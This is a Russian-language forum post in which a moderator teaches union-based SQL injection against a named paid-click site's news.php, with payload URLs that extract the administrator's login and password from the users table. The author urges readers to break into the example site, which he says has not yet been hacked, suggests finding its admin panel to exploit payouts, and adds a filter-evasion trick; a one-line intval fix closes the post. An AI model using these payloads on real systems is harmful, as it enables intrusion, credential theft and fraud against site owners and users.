World Of Life Х
Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: theFaus  
Форум » Редакция сайта » Статьи » SQL инъекция в новостях с комментариями (Буксы)
SQL инъекция в новостях с комментариями
theFausДата: Четверг, 23.08.2012, 18:29 | Сообщение # 1
Крутость 300+
Группа: Модераторы
Сообщений: 454
Награды: 8
Репутация: 2
Статус: :-(
У многих в скриптах не фильтруется передаваемый параметр id.

Пример: http://5b-u-x.com/news.php?id=pezdec

Как узнать, есть ли возможность запилить у вас инъекцию?
Идём по адресу новости любой существующей (id - это номер в ссылке на полную новость).

Пример: http://5b-u-x.com/45-new.html -> превращается у нас в http://5b-u-x.com/news.php?id=45

Теперь проверим возможность на проведение инъекции:
http://5b-u-x.com/news.php?id=45' (в конце просто добавили кавычку, если с одной не канает - тыкаем двойную)

Итак, наш результат: нету сообщения, мол новости не существует и при этом мы видим пустую страницу. В нормальных случаях мы бы увидели ошибку в синтаксисе запроса, в нашем же - вывод ошибок отключён, но тем не менее текстового вердикта, мол id новости неправилен - мы не видим.

Давайте этим воспользуемся. Идём в гугл, набираем запрос вида: "antichat.ru полный FAQ SQL инъекции" и читаем. Если хоть немного шарим в SQL запросах, то поехали...

Итак, разберёмся в коде файла, у нас есть запрос, который достаёт инфу о новости:
Code
SELECT * FROM tb_news WHERE id='$newid'

* - значит берёт всю инфу из всех строк.

Теперь глянем в структуру таблицы tb_news, полей там 4:
- date;
- id;
- newstext;
- tema.

Немного модернизируем нашу ссылку: http://5b-u-x.com/news.php?id=0' UNION SELECT 1,2,3,4 -- (после -- пробел обязателен, можно также вставить # или /*)

id=0 выбрал id специально несуществующей новости, в противном случае ничего не получится. Цифры 1,2,3,4 специально проставлены для нумерации порядка, чтоб вбить запрос в "битые поля". Наш результат - мы видим цифры 2 и 3.

Давайте продолжать модернизировать линк:
http://5b-u-x.com/news.php?id=0' UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status='admin'),(SELECT password FROM tb_users WHERE user_status='admin'),4 -- (опять же пробел)

И что мы видим? Логин и пароль админа, а дальше можно начинать действовать, уж дальше ума много не надо.

1. В статью я не стал расписывать почему и зачем нужны кавычки. Нет смысла - тут многие тугодумы начнут тупо флудить.
2. Букс для примера ещё не был взломан, дерзайте. Там тяжко продумать как его накрутить, ибо админка спрятана.
3. Там автовыплаты, макс.сумма - 15 рублей/раз в сутки. Так что лучше ищите админку.
4. Если на буксе жертве при попытке составить запрос ничего не получается - попробуйте пробелы заменить на + или на /**/

Фикс:
В файле news.php меняем:
Code
$newid=$_GET[id];

На:
Code
$newid=intval($_GET[id]);

Все.



Если кому чем помог отписывайтесь в теме или ставте +
 
Форум » Редакция сайта » Статьи » SQL инъекция в новостях с комментариями (Буксы)
  • Страница 1 из 1
  • 1
Поиск:

the Faus © 01.10.2009
Все материалы размещенные на сайте пренадлежат их владельцам и предоставляются исключительно в ознакомительных целях. Администрация ответственности за содержание материала не несет.